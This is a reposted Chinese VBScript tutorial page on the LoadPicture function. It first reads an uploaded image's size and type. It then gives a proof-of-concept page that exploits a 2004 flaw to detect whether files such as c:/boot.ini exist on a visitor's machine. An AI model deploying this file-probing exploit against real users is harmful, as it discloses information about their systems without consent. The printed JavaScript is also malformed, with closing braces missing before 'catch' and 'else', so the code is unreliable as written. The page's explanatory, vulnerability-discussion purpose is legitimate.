首页 > 编程 > VBScript > 正文

vbs中的LoadPicture函数示例

2020-06-26 18:13:11
字体:
来源:转载
供稿:网友

vbscript LoadPicture函数可以查看本地图片的一些信息,不过有些漏洞,纯交流可以,不建议使用

示例:
 

  1. <title>LoadPicture函数</title>   
  2. <form name="frm">   
  3.      选择图片<input type="file" name="pic" onChange="GetPicInfor()" >   
  4. </form>   
  5. <script language="vbscript">   
  6.  
  7. Sub GetPicInfor()   
  8.      dim objpic,iWidth,iHeight   
  9. dim pictype,picpath   
  10. picpath=document.frm.pic.value   
  11. set objpic=Loadpicture(picpath)   
  12. iWidth = round(objpic.width / 26.4583) '26.4583是像素值   
  13.      iHeight = round(objpic.height / 26.4583)   
  14. select case objpic.type   
  15.             case 0    
  16.                 pictype = "None"    
  17.              case 1    
  18.                 pictype = "Bitmap"    
  19.              case 2    
  20.                 pictype = "Metafile"    
  21.              case 3    
  22.                 pictype = "Icon"    
  23.              case 4    
  24.                 pictype = "Win32-enhanced metafile"    
  25. end select    
  26. document.write "你选择了图片"&picpath   
  27. document.write "<li>长度:"&iHeight&"</li>"   
  28. document.write "<li>宽度:"&iwidth&"</li>"   
  29. document.write "<li>类型:"&pictype&"</li>"   
  30. End Sub    
  31. </script>  
不过这个函数有个漏洞,可以探测电脑上存在的文件名。2004年的漏洞,微软现在也没补,示例: 
  1. <form onsubmit="doIt(this);return false">    
  2. <input name="filename" value="c:/boot.ini" size="80" type="text"><input type="submit">    
  3. </form>   
  4.  
  5. <script language="vbscript">   
  6.  
  7. Sub loadIt(filename)    
  8. LoadPicture(filename)    
  9. End Sub   
  10.  
  11. </script>   
  12.  
  13. <script language="javascript">   
  14.  
  15. function doIt(form) {   
  16.  
  17. try {    
  18. loadIt(form.filename.value);    
  19. catch(e) {    
  20. result = e.number;    
  21. }   
  22.  
  23. if (result != -2146827856) {    
  24. alert('file exists');    
  25. else {    
  26. alert('file does not exist');    
  27. }    
  28. }    
  29. </script>  

发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表